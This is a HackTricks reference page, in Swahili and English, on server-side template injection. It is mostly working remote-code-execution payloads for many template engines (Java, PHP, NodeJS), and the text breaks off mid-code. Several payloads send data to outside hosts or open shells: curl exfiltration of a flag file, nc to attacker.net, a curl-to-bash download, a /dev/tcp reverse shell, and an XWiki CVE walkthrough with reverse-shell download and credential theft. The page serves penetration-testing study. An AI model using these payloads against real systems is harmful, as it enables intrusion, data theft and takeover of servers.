SSTI (Server Side Template Injection)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
SSTI (Server-Side Template Injection) ni nini
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza code yenye madhara ndani ya kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwemo Jinja.
Jinja ni engine maarufu ya kiolezo inayotumika katika programu za wavuti. Tuchukulie mfano unaoonyesha kipande cha code chenye udhaifu kinachotumia Jinja:
output = template.render(name=request.args.get('name'))
Katika msimbo huu wenye udhaifu, parameter name kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja ndani ya kiolezo kwa kutumia render.
Hii inaweza kumruhusu attacker ku-inject malicious code ndani ya parameter name, na kusababisha server-side template injection.
Kwa mfano, attacker anaweza kutengeneza ombi lenye payload kama ifuatayo:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} inachomwa ndani ya parameter ya name. Payload hii inaweza kuwa na Jinja template directives ambazo zinamruhusu mshambulizi kutekeleza code isiyoidhinishwa au kubadilisha template engine, na kwa hivyo kupata udhibiti wa server.
Ili kuzuia udhaifu wa Server-Side Template Injection, waendelezaji wanapaswa kuhakikisha kuwa input ya mtumiaji imesafishwa vizuri na kuthibitishwa kabla ya kuingizwa katika templates. Kutekeleza input validation na kutumia techniques za context-aware escaping kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Ugunduzi
To detect Server-Side Template Injection (SSTI), initially, fuzzing the template ni mbinu rahisi. Hii inajumuisha kuchoma mfululizo wa tabia maalum (${{<%[%'"}}%\) ndani ya template na kuchambua tofauti katika majibu ya server kwa data ya kawaida dhidi ya payload maalum hii. Viashiria vya udhaifu ni pamoja na:
- Makosa yanayotolewa, yakifichua udhaifu na pengine template engine.
- Kutokuwepo kwa payload kwenye mrejeleo, au sehemu zake kukosekana, ikimaanisha server inaitengeneza tofauti na data ya kawaida.
- Muktadha wa maandishi wazi: Tambua tofauti na XSS kwa kukagua kama server inafanya tathmini ya template expressions (mfano,
{{7*7}},${7*7}). - Muktadha wa Msimbo: Thibitisha udhaifu kwa kubadilisha vigezo vya input. Kwa mfano, kubadilisha
greetingkatikahttp://vulnerable-website.com/?greeting=data.usernamekuona kama output ya server ni ya dynamic au fasta, kamagreeting=data.username}}helloikirudisha username.
Awamu ya Utambulisho
Kuutambua template engine kunahusisha kuchunguza ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali za lugha maalum. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}, {{7/0}}, na <%= 7/0 %>. Kuangalia jibu la server kwa operesheni za kihisabati husaidia kubaini template engine maalum.
Utambulisho kwa payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Zana
TInjA
skana ya SSTI + CSTI yenye ufanisi inayotumia polyglots mpya
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
jedwali la mwingiliano linaloonyesha template injection polyglots zinazofanya kazi kwa ufanisi pamoja na majibu yanayotarajiwa ya template engines 44 muhimu zaidi.
Exploits
Jeneriki
Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya engines zilizotajwa hapa chini:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Pata environment variables za mfumo
${T(java.lang.System).getenv()}
Java - Pata /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Nothing${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ inafanya kazi tu kwenye matoleo ya Freemarker chini ya 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Taarifa zaidi
- Katika sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Taarifa zaidi
- Kwenye sehemu ya Velocity ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Kwenye Thymeleaf, jaribio la kawaida kwa udhaifu wa SSTI ni expression ${7*7}, ambalo pia linaweza kutumika kwa template engine hii. Kwa uwezekano wa remote code execution, expressions kama zifuatazo zinaweza kutumika:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf inahitaji expressions hizi kuwekwa ndani ya attributes maalum. Hata hivyo, expression inlining inaungwa mkono kwa maeneo mengine ya template, kwa kutumia syntax kama [[...]] au [(...)]. Kwa hivyo, payload rahisi la jaribio la SSTI linaweza kuwa [[${7*7}]].
Hata hivyo, uwezekano wa payload hii kufanya kazi kwa ujumla ni mdogo. Muundo wa default wa Thymeleaf hauungi mkono dynamic template generation; templates lazima ziwe predefined. Waendelezaji wangehitaji kutekeleza TemplateResolver zao ili kuunda templates kutoka kwa strings kwa wakati wa utekelezaji, jambo ambalo si la kawaida.
Thymeleaf pia inatoa expression preprocessing, ambapo expressions ndani ya underscores mbili (__...__) zinaproseswa awali. Kipengele hiki kinaweza kutumika katika uundaji wa expressions, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
#{selection.__${sel.code}__}
Mfano wa Udhaifu katika Thymeleaf
Angalia kifungu cha msimbo kinachofuata, ambacho kinaweza kutumika kwa exploitation:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Hii inaonyesha kwamba, ikiwa template engine itashughulikia ingizo hizi vibaya, inaweza kusababisha remote code execution ikifikia URLs kama:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Taarifa zaidi
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters
Miundo mbalimbali za variable expressions zinaweza kutumika; ikiwa ${...} haitumiki jaribu #{...}, *{...}, @{...} au ~{...}.
- Soma
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script ya desturi kwa ajili ya uzalishaji wa payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Taarifa Zaidi
Spring View Manipulation (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Toleo la zamani la Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Toleo jipya la Pebble :
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava ni mradi wa chanzo wazi uliotengenezwa na Hubspot, unapatikana kwenye https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Taarifa zaidi
Hubspot - HuBL (Java)
{% %}alama za kuashiria tamko{{ }}alama za kuashiria maelezo{# #}alama za kuashiria maoni{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta “com.hubspot.content.hubl.context.TemplateContextRequest” na ugundue mradi wa Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Taarifa zaidi
Lugha ya Expression - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Lugha ya Expression (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama managed beans) katika JavaEE. Inatumiwa kwa wingi katika teknolojia mbalimbali za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
- JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vinavyohusiana upande wa backend.
- JavaServer Pages (JSP): EL inatumiwa katika JSP kwa kufikia na kurekebisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya kurasa na data ya programu.
- Contexts and Dependency Injection for Java EE (CDI): EL inaunganishwa na CDI kuruhusu mwingiliano usio na mshono kati ya tabaka la wavuti na managed beans, kuhakikisha muundo wa programu unaoeleweka zaidi.
Angalia ukurasa ufuatao ili ujifunze zaidi kuhusu exploitation of EL interpreters:
Groovy (Java)
Security Manager bypasses zifuatazo zimetolewa kutoka kwa writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) hutoa unauthenticated RSS search feeds kupitia macro ya Main.SolrSearch. Handler inachukua query parameter text, inaifunga katika wiki syntax na kutekeleza macros, hivyo kuingiza }}} ikifuatiwa na {{groovy}} hufanya Groovy yoyote kutekelezwa kwenye JVM.
- Fingerprint & scope – Wakati XWiki iko reverse-proxied nyuma ya host-based routing, fuzz header ya
Host(ffuf -u http://<ip> -H "Host: FUZZ.target" ...) ili kugundua wiki vhost, kisha vinjari/xwiki/bin/view/Main/na soma footer (XWiki Debian 15.10.8) ili kuthibitisha toleo lenye udhaifu. - Trigger SSTI – Tuma ombi kwa
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. Kipengee cha RSS<title>kitatilia ndani pato la Groovy. Kila mara “URL-encode all characters” ili nafasi zibaki kama%20; kuzibadilisha kuwa+hufanya XWiki kurudisha HTTP 500. - Run OS commands – Badilisha mwili wa Groovy kwa
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()inaanzisha amri moja kwa moja kwaexecve(), hivyo shell metacharacters (|,>,&) hazitafsiriwi. Badala yake tumia kiolezo cha download-and-execute:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(script hiyo ina mantiki ya reverse shell).
- Post exploitation – XWiki huhifadhi database credentials katika
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordinatoa real-system passwords ambazo zinaweza kutumika tena kwa SSH. Ikiwa service unit imewekaNoNewPrivileges=true, zana kama/bin/suhazitapata privileges zaidi hata ukiwa na password sahihi, hivyo piga pivot kwa SSH badala ya kutegemea local SUID binaries.
Payload ileile inafanya kazi pia kwenye /xwiki/bin/get/Main/SolrSearch, na stdout ya Groovy kila mara imejumuishwa kwenye title ya RSS, hivyo ni rahisi kuandika script za kufanya enumeration ya amri.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Taarifa zaidi
- Katika sehemu ya Smarty ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Muundo wa kiolezo
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Maelezo zaidi
- Katika sehemu za Twig na Twig (Sandboxed) katika https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates ni injini ya templeti ya asili kwa PHP, ikichukua msukumo kutoka kwa Twig. Hata hivyo, tofauti na Twig, ambayo inaleta sintaksia mpya, Plates inatumia msimbo wa asili wa PHP ndani ya templeti, na kuifanya iwe rahisi kueleweka kwa watengenezaji wa PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Kiolezo cha ukurasa:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Kiolezo cha mpangilio:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Taarifa zaidi
PHPlib na HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Maelezo zaidi
PHP Nyingine
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Maelezo zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Taarifa zaidi
- Kwenye sehemu ya Jade ya https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate injini ya template ya PHP isiyofanya compilation, inayotumia tag za XML kugawa hati katika sehemu tofauti
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Maelezo zaidi
Handlebars (NodeJS)
Path Traversal (maelezo zaidi here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Hitilafu
- ${7*7} = ${7*7}
- Hakuna kitu
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Taarifa zaidi
JsRender (NodeJS)
| Kiolezo | Maelezo |
|---|---|
| Tathmini na kuonyesha matokeo | |
| Tathmini na kuonyesha matokeo zilizohifadhiwa kwa HTML | |
| Maoni | |
| na | Ruhusu code (imezimwa kwa chaguo-msingi) |
- = 49
Upande wa Mteja
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Upande wa seva
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Maelezo zaidi
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Mfano wa server-side render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Taarifa zaidi
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Hakuna matokeo
- #{7*7} = #{7*7}
- {{console.log(1)}} = Kosa
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Taarifa zaidi
Sandboxes za misemo za NodeJS (vm2 / isolated-vm)
Baadhi ya watengenezaji wa workflow huchambua misemo inayodhibitiwa na watumiaji ndani ya sandboxes za Node (vm2, isolated-vm), lakini muktadha wa misemo bado unaweka wazi this.process.mainModule.require. Hii inamruhusu mshambuliaji kupakia child_process na kutekeleza amri za OS hata pale nodes maalum za “Execute Command” zikiwa zimezimwa:
={{ (function() {
const require = this.process.mainModule.require;
